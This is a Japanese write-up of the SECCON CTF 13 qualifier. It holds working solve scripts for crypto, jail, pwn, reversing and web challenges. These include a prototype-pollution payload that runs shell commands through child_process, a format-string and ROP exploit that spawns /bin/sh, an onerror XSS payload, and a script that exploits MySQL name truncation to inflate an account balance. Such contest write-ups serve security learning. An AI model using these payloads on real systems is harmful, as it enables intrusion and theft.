以下の内容はhttps://hiikunz.hatenablog.com/entry/SECCON-13-Qualsより取得しました。


SECCON CTF 13 Quals WriteUp

SECCON CTF 13 Quals 全体 43 位 / 国内 13 位 でした

国内のソロチームとしては一番上っぽいです。

目次 (解いた順)

Welcome (welcome, 639 solves, 50 pts)

Discord にフラグがあった。

flag: SECCON{Welcome_to_SECCON2024^H^H^H^H13}

reiwa_rot13 (crypto, 127 solves, 91 pts)

from Crypto.Util.number import *
import codecs
import string
import random
import hashlib
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from flag import flag

p = getStrongPrime(512)
q = getStrongPrime(512)
n = p*q
e = 137

key = ''.join(random.sample(string.ascii_lowercase, 10))
rot13_key = codecs.encode(key, 'rot13')

key = key.encode()
rot13_key = rot13_key.encode()

print("n =", n)
print("e =", e)
print("c1 =", pow(bytes_to_long(key), e, n))
print("c2 =", pow(bytes_to_long(rot13_key), e, n))

key = hashlib.sha256(key).digest()
cipher = AES.new(key, AES.MODE_ECB)
print("encyprted_flag = ", cipher.encrypt(flag))

長さ 10 の英小文字列  (=\mathrm{key}) とそれを rot13 したもの  (=\mathrm{key'}) e=137RSA で暗号化している。

このとき、 i  (1 \leq i \leq 10) について

 
\begin{cases}
\mathrm{key'}_{i} = \mathrm{key}_{i} + 13 \\
\mathrm{key'}_{i} = \mathrm{key}_{i} - 13
\end{cases}

のどちらかが成り立つ。これは  2^{10} 通りなので全探索可能。

すると、2つの平文の差が判明している RSA になるので、Franklin-Reiter Related Message Attack で解ける。

# HALF GCD: https://github.com/jvdsn/crypto-attacks/blob/master/shared/polynomial.py

import logging
from math import lcm

def _polynomial_hgcd(ring, a0, a1):
    assert a1.degree() < a0.degree()

    if a1.degree() <= a0.degree() / 2:
        return 1, 0, 0, 1

    m = a0.degree() // 2
    b0 = ring(a0.list()[m:])
    b1 = ring(a1.list()[m:])
    R00, R01, R10, R11 = _polynomial_hgcd(ring, b0, b1)
    d = R00 * a0 + R01 * a1
    e = R10 * a0 + R11 * a1
    if e.degree() < m:
        return R00, R01, R10, R11

    q, f = d.quo_rem(e)
    g0 = ring(e.list()[m // 2:])
    g1 = ring(f.list()[m // 2:])
    S00, S01, S10, S11 = _polynomial_hgcd(ring, g0, g1)
    return S01 * R00 + (S00 - q * S01) * R10, S01 * R01 + (S00 - q * S01) * R11, S11 * R00 + (S10 - q * S11) * R10, S11 * R01 + (S10 - q * S11) * R11


def fast_polynomial_gcd(a0, a1):
    """
    Uses a divide-and-conquer algorithm (HGCD) to compute the polynomial gcd.
    More information: Aho A. et al., "The Design and Analysis of Computer Algorithms" (Section 8.9)
    :param a0: the first polynomial
    :param a1: the second polynomial
    :return: the polynomial gcd
    """
    # TODO: implement extended variant of half GCD?
    assert a0.parent() == a1.parent()

    if a0.degree() == a1.degree():
        if a1 == 0:
            return a0
        a0, a1 = a1, a0 % a1
    elif a0.degree() < a1.degree():
        a0, a1 = a1, a0

    assert a0.degree() > a1.degree()
    ring = a0.parent()

    # Optimize recursive tail call.
    while True:
        logging.debug(f"deg(a0) = {a0.degree()}, deg(a1) = {a1.degree()}")
        _, r = a0.quo_rem(a1)
        if r == 0:
            return a1.monic()

        R00, R01, R10, R11 = _polynomial_hgcd(ring, a0, a1)
        b0 = R00 * a0 + R01 * a1
        b1 = R10 * a0 + R11 * a1
        if b1 == 0:
            return b0.monic()

        _, r = b0.quo_rem(b1)
        if r == 0:
            return b1.monic()

        a0 = b1
        a1 = r


from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from hashlib import sha256

n = 105270965659728963158005445847489568338624133794432049687688451306125971661031124713900002127418051522303660944175125387034394970179832138699578691141567745433869339567075081508781037210053642143165403433797282755555668756795483577896703080883972479419729546081868838801222887486792028810888791562604036658927
e = 137
c1 = 16725879353360743225730316963034204726319861040005120594887234855326369831320755783193769090051590949825166249781272646922803585636193915974651774390260491016720214140633640783231543045598365485211028668510203305809438787364463227009966174262553328694926283315238194084123468757122106412580182773221207234679
c2 = 54707765286024193032187360617061494734604811486186903189763791054142827180860557148652470696909890077875431762633703093692649645204708548602818564932535214931099060428833400560189627416590019522535730804324469881327808667775412214400027813470331712844449900828912439270590227229668374597433444897899112329233
encyprted_flag =  b"\xdb'\x0bL\x0f\xca\x16\xf5\x17>\xad\xfc\xe2\x10$(DVsDS~\xd3v\xe2\x86T\xb1{xL\xe53s\x90\x14\xfd\xe7\xdb\xddf\x1fx\xa3\xfc3\xcb\xb5~\x01\x9c\x91w\xa6\x03\x80&\xdb\x19xu\xedh\xe4"

PR.<x> = PolynomialRing(Zmod(n))

for b in range(1024):
    C1 = x
    C2 = x
    t = b
    for i in range(10):
        if t & 1:
            C2 += 13 * 256^i
        else:
            C2 += -13 * 256^i
        t //= 2
    f1 = C1^e - c1
    f2 = C2^e - c2
    p = fast_polynomial_gcd(f1, f2)
    if p != 1:
        print(f"gcd: {p}")
        m = -p[0]


key = long_to_bytes(int(m))
print(f"key: {key}")

key = sha256(key).digest()
cipher = AES.new(key, AES.MODE_ECB)


print(f"flag: {cipher.decrypt(encyprted_flag).decode()}")

flag: SECCON{Vim_has_a_command_to_do_rot13._g?_is_possible_to_do_so!!}

pp4 jail (jail, 41 solves, 149 pts)

#!/usr/local/bin/node
const readline = require("node:readline/promises");
const rl = readline.createInterface({input: process.stdin,output: process.stdout,});

const clone = (target, result = {}) => {
  for (const [key, value] of Object.entries(target)) {
    if (value && typeof value == "object") {
      if (!(key in result)) result[key] = {};
      clone(value, result[key]);
    } else {
      result[key] = value;
    }
  }
  return result;
};

(async () => {
  // Step 1: Prototype Pollution
  const json = (await rl.question("Input JSON: ")).trim();
  console.log(clone(JSON.parse(json)));

  // Step 2: JSF**k with 4 characters
  const code = (await rl.question("Input code: ")).trim();
  if (new Set(code).size > 4) {
    console.log("Too many :(");
    return;
  }
  console.log(eval(code));
})().finally(() => rl.close());

好きなだけ Prototype Pollution していいから、そのあと 4 種類の文字だけで RCE してね、という問題。

頑張ってパズルすると、

{"__proto__":{"":"<PAYLOAD>","<PAYLOAD>":"constructor"}}

と Prototype Pollution すると、

[][[][[][[]]]][[][[][[]]]]([][[]])()

と書けば

[]["constructor"]["constructor"]("<PAYLOAD>")()

相当のことができて、RCE 可能。

Input JSON: {"__proto__":{"":"console.log(process.mainModule.require('child_process').execSync('cat /flag*').toString())","console.log(process.mainModule.require('child_process').execSync('cat /flag*').toString())":"constructor"}}
Input code: [][[][[][[]]]][[][[][[]]]]([][[]])()

flag: SECCON{prototype_po11ution_turns_JavaScript_into_a_puzzle_game}

Paragraph (pwnable, 61 solves, 125 pts)

#include <stdio.h>

int main() {
  char name[24];
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  printf("\"What is your name?\", the black cat asked.\n");
  scanf("%23s", name);
  printf(name);
  printf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", name);

  return 0;
}

FSB っぽいが、stack を書き換えるには文字数制限がきつすぎる。

頭を柔らかくして考えると、printf の GOT を scanf のものにすることで、

  printf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", name);

の部分で BOF できるようになる。

あとは気合。

from pwn import *
import sys

################################################
# context.log_level = "DEBUG"
FILENAME = "./chall_patched"
LIBCNAME = "./libc.so.6"
host = "paragraph.seccon.games"
port = 5000
################################################

context(os="linux", arch="amd64")
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME != "" else None

if len(sys.argv) > 1:
    if sys.argv[1][0] == "d":
        cmd = """
        set follow-fork-mode parent
        b main
        c
        b *0x401281
        """
        io = gdb.debug(FILENAME, cmd)
    elif sys.argv[1][0] == "r":
        io = remote(host, port)
else:
    io = process(FILENAME)

io.recvuntil(b"asked.\n")
io.sendline(b"%4198496c%8$lln_" + p64(0x404028)[:6])
io.recvuntil(p64(0x404028)[:3])

p = b"A" * 40
p += p64(0x401281)  # 0x401281: pop rsi ; pop r15 ; ret ;
p += p64(0x404150)  # .bss
p += p64(0)
p += p64(0x401283)  # 0x401283: pop rdi ; ret ;
p += p64(0x403078)  # %s warmly.\n
p += p64(0x401060)  # scanf
p += p64(0x401283)  # 0x401283: pop rdi ; ret ;
p += p64(0x404050)  # 0x404050 <stdout@@GLIBC_2.2.5>:   0x00007d0f7ba045c0
p += p64(0x401030)  # puts

p += p64(0x401196) # main



io.sendline(
    b' answered, a bit confused.\n"Welcome to SECCON," the cat greeted '
    + p
    + b" warmly.\n\n"
)
io.sendline(b"/bin/sh #" + b" warmly.\n\n")

res = io.recvline().strip()
leakedlibc = u64(res.ljust(8, b"\x00"))
log.info(f"leaked libc: {hex(leakedlibc)}")

libc.address = leakedlibc - libc.sym["_IO_2_1_stdout_"]
log.info(f"libc base: {hex(libc.address)}")

p = b"A" * 40

"""
0x583e3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
  address rsp+0x68 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, rip+0x17302e, r12, ...} is a valid argv
  rbx == NULL || (u16)[rbx] == NULL

"""
p += p64(libc.address + 0x10E243)  # pop rcx ; ret
p += p64(0)
p += p64(libc.address + 0x5ACE9)  # pop rbx ; ret
p += p64(0)
p += p64(libc.address + 0x583E3) # posix_spawn

io.recvuntil(b"asked.\n")
io.sendline(
    b' answered, a bit confused.\n"Welcome to SECCON," the cat greeted '
    + p
    + b" warmly.\n\n"
)

io.interactive()

flag: SECCON{The_cat_seemed_surprised_when_you_showed_this_flag.}

packed (reversing, 119 solves, 93 pts)

packer とかよくわからなかったので フラグの文字数を特定 → xor してるだけっぽいので、とりあえず a で埋めて何と xor されてるか動的解析で復号した。

buf1 = [0x89,0x2b,0x61,0x61,0x61,0xe2,0x98,0x28,0x14,0x25,0x32,0x36,0x29,0xec,0x2d,0x56,0x9c,0x3f,0x37,0x3a,0x8a,0x4e,0x29,0x58,0xaf,0x12,0x53,0x37,0x3f,0xcd,0x5d,0xe1,0x13,0x6b,0x5d,0xee,0x16,0x67,0xe1,0x1f,0x9f,0x6e,0x15,0x67,0x4d,0x89,0x5d,0x60,0x7d,0x00,0x00,0x00,0x00,0x00,0x00,0x00]
buf2 = [0xbb,0x0f,0x43,0x43,0x4f,0xcd,0x82,0x1c,0x25,0x1c,0x0c,0x24,0x7f,0xf8,0x2e,0x68,0xcc,0x2d,0x09,0x3a,0xb4,0x48,0x78,0x56,0xaa,0x2c,0x42,0x3a,0x6a,0xcf,0x0f,0xdf,0x14,0x3a,0x4e,0xd0,0x1f,0x37,0xe4,0x17,0x90,0x39,0x2b,0x65,0x1c,0x8c,0x0f,0x7c,0x7d,0xb9,0x31,0x00,0x00,0x00,0x5e,0x48]

for i in range(0x30):
    print(chr(buf1[i]^buf2[i]^ord("a")),end="")
print()

flag: SECCON{UPX_s7ub_1s_a_g0od_pl4c3_f0r_h1din6_c0d3}

Tanuki Udon (web, 41 solves, 149 pts)

メモアプリで、XSS をする問題。

本質はここ。

const escapeHtml = (content) => {
  return content
    .replaceAll('&', '&amp;')
    .replaceAll(`"`, '&quot;')
    .replaceAll(`'`, '&#39;')
    .replaceAll('<', '&lt;')
    .replaceAll('>', '&gt;');
}

const markdown = (content) => {
  const escaped = escapeHtml(content);
  return escaped
    .replace(/!\[([^"]*?)\]\(([^"]*?)\)/g, `<img alt="$1" src="$2"></img>`)
    .replace(/\[(.*?)\]\(([^"]*?)\)/g, `<a href="$2">$1</a>`)
    .replace(/\*\*(.*?)\*\*/g, `<strong>$1</strong>`)
    .replace(/  $/mg, `<br>`);
}

この markdown パーサに対してパズルをすると、XSS が可能。

![]([)]( onerror=alert`1` )

<img alt="" src="["></img>]( onerror=alert`1` )

<img alt="" src="<a href=" onerror=alert`1` ">"></img></a>

あとは頑張ってペイロードを書く。

![]([)]( onerror=document.body.innerHTML=atob`<payload>` )

として、<payload> には <img src=x onerror=(payload)>base64エンコードしたものを入れるなどすれば良い。

flag: SECCON{Firefox Link = Kitsune Udon <-> Chrome Speculation-Rules = Tanuki Udon}

おまけ (ちょっと面白かった)

dual_summon (crypto, 63 solves, 123 pts)

from Crypto.Cipher import AES
import secrets
import os
import signal

signal.alarm(300)

flag = os.getenv("flag", "SECCON{sample}")

keys = [secrets.token_bytes(16) for _ in range(2)]
nonce = secrets.token_bytes(16)


def summon(number, plaintext):
    assert len(plaintext) == 16
    aes = AES.new(key=keys[number - 1], mode=AES.MODE_GCM, nonce=nonce)
    ct, tag = aes.encrypt_and_digest(plaintext)
    return ct, tag


# When you can exec dual_summon, you will win
def dual_summon(plaintext):
    assert len(plaintext) == 16
    aes1 = AES.new(key=keys[0], mode=AES.MODE_GCM, nonce=nonce)
    aes2 = AES.new(key=keys[1], mode=AES.MODE_GCM, nonce=nonce)
    ct1, tag1 = aes1.encrypt_and_digest(plaintext)
    ct2, tag2 = aes2.encrypt_and_digest(plaintext)
    # When using dual_summon you have to match tags
    assert tag1 == tag2


print("Welcome to summoning circle. Can you dual summon?")
for _ in range(10):
    mode = int(input("[1] summon, [2] dual summon >"))
    if mode == 1:
        number = int(input("summon number (1 or 2) >"))
        name = bytes.fromhex(input("name of sacrifice (hex) >"))
        ct, tag = summon(number, name)
        print(f"monster name = [---filtered---]")
        print(f"tag(hex) = {tag.hex()}")

    if mode == 2:
        name = bytes.fromhex(input("name of sacrifice (hex) >"))
        dual_summon(name)
        print("Wow! you could exec dual_summon! you are master of summoner!")
        print(flag)

nonce が常に共通で鍵が不明の 2 つの AES-GCM が与えられる。 9 回まで 16 バイトの暗号文を暗号したときの tag を得ることができて、最後に 2 つの tag が一致するような暗号文を送信すれば flag が得られる。

 \mathrm{AES}_i の鍵と nonce から得られる値を次のようにとる。

 
\begin{cases}
H_{i} = \mathrm{enc}_i(0) \\
S_{i} = \mathrm{enc}_i(\mathrm{GHASH}(H_i, \mathrm{nonce}_i)) \\
T_{i} = \mathrm{enc}_i(\mathrm{GHASH}(H_i, \mathrm{nonce}_i) + 1)
\end{cases}

すると、 c = m \oplus T_i,  \mathrm{tag} = \mathrm{GHASH}(H_i, c) \oplus S_i である。

以降、多項式  x^{128} + x^{7} + x^{2} + x + 1 によって定義される  \mathrm{GF}(2^{128}) 上で考えることにすると、 c = m + T_i であり、また


\begin{equation}
\begin{split}
\mathrm{tag} &= \mathrm{GHASH}(H_{i}, c) + S_i \\
&= c \cdot H_{i}^{2} + \mathrm{0x80} \cdot H_{i} + S_{i} \\
&= (m + T_i) \cdot H_{i}^{2} + \mathrm{0x80} \cdot H_{i} + S_{i}
\end{split}
\end{equation}

である。ここで  m = 0,1 を代入したときの  \mathrm{tag} \mathrm{tag}_0, \mathrm{tag}_1 とすると、

 
\begin{cases}
\mathrm{tag}_0 = T_i \cdot H_{i}^{2} + \mathrm{0x80} \cdot H_{i} + S_{i} \\
\mathrm{tag}_1 = (1 + T_i) \cdot H_{i}^{2} + \mathrm{0x80} \cdot H_{i} + S_{i}
\end{cases}

つまり、 \mathrm{tag}_1 - \mathrm{tag}_0 = H_{i}^{2} であるので、これから  H_{i} を求めることができる。

 H_{i} が求まったらあとは  \mathrm{tag}_0 + m \cdot H_{i}^{2} が一致するような  m を求めれば良い。

from Crypto.Util.number import long_to_bytes, bytes_to_long
from Crypto.Cipher import AES

F.<a> = GF(2^128, modulus=x^128 + x^7 + x^2 + x + 1)
P.<x> = PolynomialRing(F)

def bytes_to_poly(b):
    v = int.from_bytes(b, 'big')
    v = int(f"{v:0128b}"[::-1], 2)
    return F.from_integer(v)

def poly_to_bytes(p):
    v = p.to_integer()
    v = int(f"{v:0128b}"[::-1], 2)
    return v.to_bytes(16, 'big')

from pwn import *

io = remote("dual-summon.seccon.games", 2222)

io.recvuntil(b"[1] summon, [2] dual summon >")
io.sendline(b"1")
io.recvuntil(b"summon number (1 or 2) >")
io.sendline(b"1")
io.recvuntil(b"name of sacrifice (hex) >")
io.sendline((poly_to_bytes(F.from_integer(0))).hex().encode())
io.recvuntil(b"tag(hex) = ")

t10 = bytes.fromhex(io.recvline().strip().decode())
t10 = bytes_to_poly(t10)

io.recvuntil(b"[1] summon, [2] dual summon >")
io.sendline(b"1")
io.recvuntil(b"summon number (1 or 2) >")
io.sendline(b"1")
io.recvuntil(b"name of sacrifice (hex) >")
io.sendline((poly_to_bytes(F.from_integer(1))).hex().encode())
io.recvuntil(b"tag(hex) = ")

t11 = bytes.fromhex(io.recvline().strip().decode())
t11 = bytes_to_poly(t11)

f = x^2 - (t11 - t10)
rs = f.roots()

for r in rs:
    H1 = r[0]
    print("H1 =", poly_to_bytes(H1).hex())

io.recvuntil(b"[1] summon, [2] dual summon >")
io.sendline(b"1")
io.recvuntil(b"summon number (1 or 2) >")
io.sendline(b"2")
io.recvuntil(b"name of sacrifice (hex) >")
io.sendline((poly_to_bytes(F.from_integer(0))).hex().encode())
io.recvuntil(b"tag(hex) = ")

t20 = bytes.fromhex(io.recvline().strip().decode())
t20 = bytes_to_poly(t20)

io.recvuntil(b"[1] summon, [2] dual summon >")
io.sendline(b"1")
io.recvuntil(b"summon number (1 or 2) >")
io.sendline(b"2")
io.recvuntil(b"name of sacrifice (hex) >")
io.sendline((poly_to_bytes(F.from_integer(1))).hex().encode())
io.recvuntil(b"tag(hex) = ")

t21 = bytes.fromhex(io.recvline().strip().decode())
t21 = bytes_to_poly(t21)

f = x^2 - (t21 - t20)

rs = f.roots()

for r in rs:
    H2 = r[0]
    print("H2 =",poly_to_bytes(H2).hex())

f = x * (H1^2 + H2^2) + t10 + t20
rs = f.roots()

for r in rs:
    ans = r[0]
    print("ans =",poly_to_bytes(ans).hex())

io.recvuntil(b"[1] summon, [2] dual summon >")
io.sendline(b"2")
io.recvuntil(b"name of sacrifice (hex) >")
io.sendline(poly_to_bytes(ans).hex().encode())

io.interactive()

flag: SECCON{Congratulation!_you are_master_of_summonor!_you_can_summon_2_monsters_in_one_turn}

Jump (reversing, 69 solves, 118 pts)

ARM バイナリ の解析問題。

気合で動的解析 + 静的解析 + エスパー するといくつかの条件式が出てくるので、解く。

flag_parts = [0] * 8

# flag[0:4] == 0x43434553
flag_parts[0] = 0x43434553
# flag[4:8] == 0xdeadbeef ^ 0xebd6f0a0
flag_parts[1] = 0xDEADBEEF ^ 0xEBD6F0A0
# flag[8:12] == 0xdeadbeef ^ 0xedb6f0a0
flag_parts[2] = 0xCAFEBABE ^ 0xF9958ED6
# flag[12:16] == 0x00c0ffee ^ 0x5fb4ceb1
flag_parts[3] = 0x00C0FFEE ^ 0x5FB4CEB1
# flag[12:16] + flag[16:20] == 0x94d3a1d4
flag_parts[4] = 0x94D3A1D4 - flag_parts[3]
# flag[16:20] + flag[20:24] == 0x9d949ddd
flag_parts[5] = 0x9D949DDD - flag_parts[4]
# flag[20:24] + flag[24:28] == 0x9d9d6295
flag_parts[6] = 0x9D9D6295 - flag_parts[5]
# flag[24:28] - flag[28:32] == 0x47cb363b
flag_parts[7] = 0x47CB363B + flag_parts[6]

flag = b""
for part in flag_parts:
    flag += part.to_bytes(4, "little")

print(flag.decode())

flag: SECCON{5h4k3_1t_up_5h-5h-5h5hk3}

Trillion Bank (web, 84 solves, 108 pts)

送金アプリ。初期残高が 10 で、1 兆以上になるとフラグがもらえる。

...
const TRILLION = 1_000_000_000_000;
...
const names = new Set();
...
app.post("/api/register", async (req, res) => {
  const name = String(req.body.name);
  if (!/^[a-z0-9]+$/.test(name)) {
    res.status(400).send({ msg: "Invalid name" });
    return;
  }
  if (names.has(name)) {
    res.status(400).send({ msg: "Already exists" });
    return;
  }
  names.add(name);

  const [result] = await db.query("INSERT INTO users SET ?", {
    name,
    balance: 10,
  });
  res
    .setCookie("session", await res.jwtSign({ id: result.insertId }))
    .send({ msg: "Succeeded" });
});

app.get("/api/me", { onRequest: auth }, async (req, res) => {
  try {
    const [{ 0: { balance } }] = await db.query("SELECT * FROM users WHERE id = ?", [req.user.id]);
    req.user.balance = balance;
  } catch (err) {
    return res.status(500).send({ msg: err.message });
  }
  if (req.user.balance >= TRILLION) {
    req.user.flag = FLAG; // 💰
  }
  res.send(req.user);
});

app.post("/api/transfer", { onRequest: auth }, async (req, res) => {
  const recipientName = String(req.body.recipientName);
  if (!names.has(recipientName)) {
    res.status(404).send({ msg: "Not found" });
    return;
  }

  const [{ 0: { id } }] = await db.query("SELECT * FROM users WHERE name = ?", [recipientName]);
  if (id === req.user.id) {
    res.status(400).send({ msg: "Self-transfer is not allowed" });
    return;
  }

  const amount = parseInt(req.body.amount);
  if (!isFinite(amount) || amount <= 0) {
    res.status(400).send({ msg: "Invalid amount" });
    return;
  }

  const conn = await db.getConnection();
  try {
    await conn.beginTransaction();

    const [{ 0: { balance } }] = await conn.query("SELECT * FROM users WHERE id = ? FOR UPDATE", [
      req.user.id,
    ]);
    if (amount > balance) {
      throw new Error("Invalid amount");
    }

    await conn.query("UPDATE users SET balance = balance - ? WHERE id = ?", [
      amount,
      req.user.id,
    ]);
    await conn.query("UPDATE users SET balance = balance + ? WHERE name = ?", [
      amount,
      recipientName,
    ]);

    await conn.commit();
  } catch (err) {
    await conn.rollback();
    return res.status(500).send({ msg: err.message });
  } finally {
    db.releaseConnection(conn);
  }

  res.send({ msg: "Succeeded" });
});
...
CREATE TABLE users (
    id INT AUTO_INCREMENT NOT NULL,
    name TEXT NOT NULL,
    balance BIGINT NOT NULL,
    PRIMARY KEY (id)
)

/api/transfer を見る感じ同じ name のユーザーがいたらまずいことが起こりそうだけど、Set でチェックされている。

しかし、よく考えると mysqlTEXT 型は 65535 バイトまでしか格納できず、それを超える長さの文字列は切り捨てられることを思いつける。

よって、[適当な65535文字], [適当な65535文字]2, [適当な65535文字]3 の 3 人のユーザーをこの順に登録して、[適当な65535文字]2[適当な65535文字] に送金することで [適当な65535文字]2 の所持金を減らさずに, [適当な65535文字][適当な65535文字]3 の所持金を送金しただけ増やすことができる。 [適当な65535文字]3[適当な65535文字] に送金するときも同様なので、[適当な65535文字]2[適当な65535文字][適当な65535文字]3[適当な65535文字] を交互に繰り返すことで [適当な65535文字] の所持金をどんどん増やせる。

import httpx
import random
import string

username1 = "".join(random.choices(string.ascii_lowercase, k=65535))
username2 = username1 + "2"
username3 = username1 + "3"

with httpx.Client() as client:
    response = client.post(
        "http://trillion.seccon.games:3000/api/register", json={"name": username1}
    )
    print(response.text)
    sess1 = response.cookies["session"]

with httpx.Client() as client:
    response = client.post(
        "http://trillion.seccon.games:3000/api/register", json={"name": username2}
    )
    print(response.text)

    sess2 = response.cookies["session"]

with httpx.Client() as client:
    response = client.post(
        "http://trillion.seccon.games:3000/api/register", json={"name": username3}
    )
    print(response.text)
    sess3 = response.cookies["session"]


user1_money = 10
user2_money = 10
user3_money = 10

while user1_money < 1000000000000:
    with httpx.Client() as client:
        res = client.post(
            "http://trillion.seccon.games:3000/api/transfer",
            json={"recipientName": username1, "amount": user2_money},
            cookies={"session": sess2},
        )
        print(res.text)
    user1_money += user2_money
    user3_money += user2_money
    with httpx.Client() as client:
        res = client.post(
            "http://trillion.seccon.games:3000/api/transfer",
            json={"recipientName": username1, "amount": user3_money},
            cookies={"session": sess3},
        )
        print(res.text)
    user1_money += user3_money
    user2_money += user3_money


with httpx.Client() as client:
    res = client.get(
        "http://trillion.seccon.games:3000/api/me",
        cookies={"session": sess1},
    )
    print(res.text)

flag: SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000}




以上の内容はhttps://hiikunz.hatenablog.com/entry/SECCON-13-Qualsより取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14